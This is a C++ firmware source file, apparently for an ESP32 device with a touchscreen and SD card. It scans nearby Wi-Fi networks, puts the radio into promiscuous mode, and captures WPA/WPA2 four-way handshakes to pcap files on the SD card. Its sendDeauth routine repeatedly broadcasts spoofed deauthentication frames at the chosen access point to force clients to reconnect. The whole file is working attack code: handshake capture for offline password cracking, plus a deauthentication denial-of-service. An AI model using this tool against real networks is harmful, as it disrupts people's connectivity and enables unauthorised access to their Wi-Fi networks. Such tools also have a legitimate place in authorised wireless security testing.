#include "HandshakeCapture.h"
#include "SD_Card.h"
#include "LVGL_Driver.h"
#include <algorithm>

static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type);
static void pcapInit();
static void pcapAppend(const uint8_t* frame, size_t len);
static void saveHandshakeToSD();

WifiNetwork networks[20];
WifiNetwork target;
bool is_capturing = false;
bool with_deauth = false;
uint8_t eapol_count = 0;
bool beacon_captured = false;
uint8_t* pcap_buffer = nullptr;
size_t pcap_size = 0;
int current_target_index = -1;

const unsigned long DEAUTH_INTERVAL_MS = 150;

#define CAPTURED_BSSID_CACHE_SIZE 32
static uint8_t captured_bssids[CAPTURED_BSSID_CACHE_SIZE][6];
static int captured_bssid_count = 0;

bool wasBssidCaptured(const uint8_t* bssid) {
  for (int i = 0; i < captured_bssid_count; i++) {
    if (memcmp(captured_bssids[i], bssid, 6) == 0) return true;
  }
  return false;
}

void markBssidCaptured(const uint8_t* bssid) {
  if (wasBssidCaptured(bssid)) return;
  if (captured_bssid_count < CAPTURED_BSSID_CACHE_SIZE) {
    memcpy(captured_bssids[captured_bssid_count], bssid, 6);
    captured_bssid_count++;
  } else {
    memmove(captured_bssids[0], captured_bssids[1], (CAPTURED_BSSID_CACHE_SIZE - 1) * 6);
    memcpy(captured_bssids[CAPTURED_BSSID_CACHE_SIZE - 1], bssid, 6);
  }
}

void handshakeCaptureInit() {
  WiFi.mode(WIFI_STA);
  WiFi.disconnect(false, true);
  delay(100);
  WiFi.mode(WIFI_AP_STA);
  esp_wifi_set_promiscuous(true);
  esp_wifi_set_promiscuous_rx_cb(promiscuousRxCallback);
}

bool compareRSSI(const WifiNetwork& a, const WifiNetwork& b) {
  return a.rssi > b.rssi;
}

bool isCaptureable(int index) {
  if (index < 0 || index >= 20 || networks[index].ssid.isEmpty()) return false;
  const String& enc = networks[index].encryption;
  return enc == "WPA" || enc == "WPA2" || enc == "WPA/WPA2";
}

void scanNetworksSortedByRSSI() {
  memset(networks, 0, sizeof(networks));
  int n = WiFi.scanNetworks(false, true);
  if (n == 0) return;

  int limit = min(n, 20);
  for (int i = 0; i < limit; i++) {
    String ssid = WiFi.SSID(i);
    if (ssid.isEmpty()) networks[i].ssid = "<HIDDEN>";
    else networks[i].ssid = ssid;
    memcpy(networks[i].bssid, WiFi.BSSID(i), 6);
    networks[i].ch = WiFi.channel(i);
    networks[i].rssi = WiFi.RSSI(i);
    wifi_auth_mode_t enc = WiFi.encryptionType(i);
    if (enc == WIFI_AUTH_OPEN) networks[i].encryption = "Open";
    else if (enc == WIFI_AUTH_WEP) networks[i].encryption = "WEP";
    else if (enc == WIFI_AUTH_WPA_PSK) networks[i].encryption = "WPA";
    else if (enc == WIFI_AUTH_WPA2_PSK) networks[i].encryption = "WPA2";
    else if (enc == WIFI_AUTH_WPA_WPA2_PSK) networks[i].encryption = "WPA/WPA2";
    else if (enc == WIFI_AUTH_WPA2_ENTERPRISE) networks[i].encryption = "WPA2 Enterprise";
    else     networks[i].encryption = "Unknown";
    networks[i].handshake_captured = wasBssidCaptured(networks[i].bssid);
  }
  std::sort(networks, networks + limit, compareRSSI);
}

void setTarget(int index) {
  if (index >= 0 && index < 20 && !networks[index].ssid.isEmpty()) {
    target = networks[index];
    current_target_index = index;
  }
}

int getCurrentTargetIndex() {
  return current_target_index;
}

bool isHandshakeCaptured(int index) {
  return index >= 0 && index < 20 && networks[index].handshake_captured;
}

void markHandshakeCaptured(int index) {
  if (index >= 0 && index < 20) {
    networks[index].handshake_captured = true;
    markBssidCaptured(networks[index].bssid);
    Ui_SetNetworkColor(index, lv_palette_main(LV_PALETTE_RED));
  }
}

void startCapture(bool deauth) {
  if (target.ssid.isEmpty() || is_capturing) return;
  pcapInit();
  beacon_captured = false;
  eapol_count = 0;
  with_deauth = deauth;
  is_capturing = true;
  esp_wifi_set_channel(target.ch, WIFI_SECOND_CHAN_NONE);
}

void stopCapture() {
  if (!is_capturing) return;
  if (pcap_size > 0) {
    saveHandshakeToSD();
  }
  is_capturing = false;
  with_deauth = false;
}

static void saveHandshakeToSD() {
  String timestamp = String(millis() / 1000);
  String filename = "/handshake_" + target.ssid + "_" + timestamp + ".pcap";
  filename.replace(" ", "_");

  File file = SD.open(filename, FILE_WRITE);
  if (!file) {
    Serial.println("SD write failed");
    return;
  }
  if (file.write(pcap_buffer, pcap_size) == pcap_size) {
    Serial.printf("Saved %s (%d bytes)\n", filename.c_str(), (int)pcap_size);
    markHandshakeCaptured(current_target_index);
  }
  file.close();
  free(pcap_buffer);
  pcap_buffer = nullptr;
  pcap_size = 0;
}

static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  if (!is_capturing) return;
  wifi_promiscuous_pkt_t* pkt = (wifi_promiscuous_pkt_t*)buf;
  uint8_t* payload = pkt->payload;
  uint16_t len = pkt->rx_ctrl.sig_len;
  if (len < 36) return;

  uint8_t frame_type = payload[0];
  bool is_beacon = frame_type == 0x80;

  if (is_beacon && !beacon_captured && memcmp(&payload[10], target.bssid, 6) == 0) {
    beacon_captured = true;
    pcapAppend(payload, len);
    return;
  }

  if ((frame_type == 0x08 || frame_type == 0x88) &&
      (memcmp(&payload[10], target.bssid, 6) == 0 || memcmp(&payload[4], target.bssid, 6) == 0)) {
    uint16_t ethertype = (payload[32] << 8) | payload[33];
    if (ethertype == 0x888E) {
      eapol_count++;
      pcapAppend(payload, len);
      if (eapol_count >= 4) {
        stopCapture();
      }
    }
  }
}

static void pcapInit() {
  free(pcap_buffer);
  pcap_size = sizeof(pcap_global_header_t);
  pcap_buffer = (uint8_t*)malloc(pcap_size);
  pcap_global_header_t header = {
    .magic_number = 0xa1b2c3d4,
    .version_major = 2,
    .version_minor = 4,
    .thiszone = 0,
    .sigfigs = 0,
    .snaplen = 65535,
    .network = 105
  };
  memcpy(pcap_buffer, &header, sizeof(header));
}

static void pcapAppend(const uint8_t* frame, size_t len) {
  if (!frame || len == 0) return;
  pcap_record_header_t rec = {
    .ts_sec = millis() / 1000,
    .ts_usec = (millis() % 1000) * 1000,
    .incl_len = len,
    .orig_len = len
  };
  uint8_t* new_buf = (uint8_t*)realloc(pcap_buffer, pcap_size + sizeof(rec) + len);
  if (!new_buf) return;
  memcpy(new_buf + pcap_size, &rec, sizeof(rec));
  memcpy(new_buf + pcap_size + sizeof(rec), frame, len);
  pcap_buffer = new_buf;
  pcap_size += sizeof(rec) + len;
}

void sendDeauth() {
  if (!is_capturing || !with_deauth) return;
  uint8_t deauth_packet[26] = {
    0xC0, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x01, 0x00
  };
  memcpy(&deauth_packet[10], target.bssid, 6);
  memcpy(&deauth_packet[16], target.bssid, 6);
  esp_wifi_80211_tx(WIFI_IF_STA, deauth_packet, sizeof(deauth_packet), false);
}

void handshakeCaptureLoop() {
  static unsigned long last_deauth = 0;
  if (is_capturing && with_deauth && millis() - last_deauth > DEAUTH_INTERVAL_MS) {
    sendDeauth();
    last_deauth = millis();
  }
}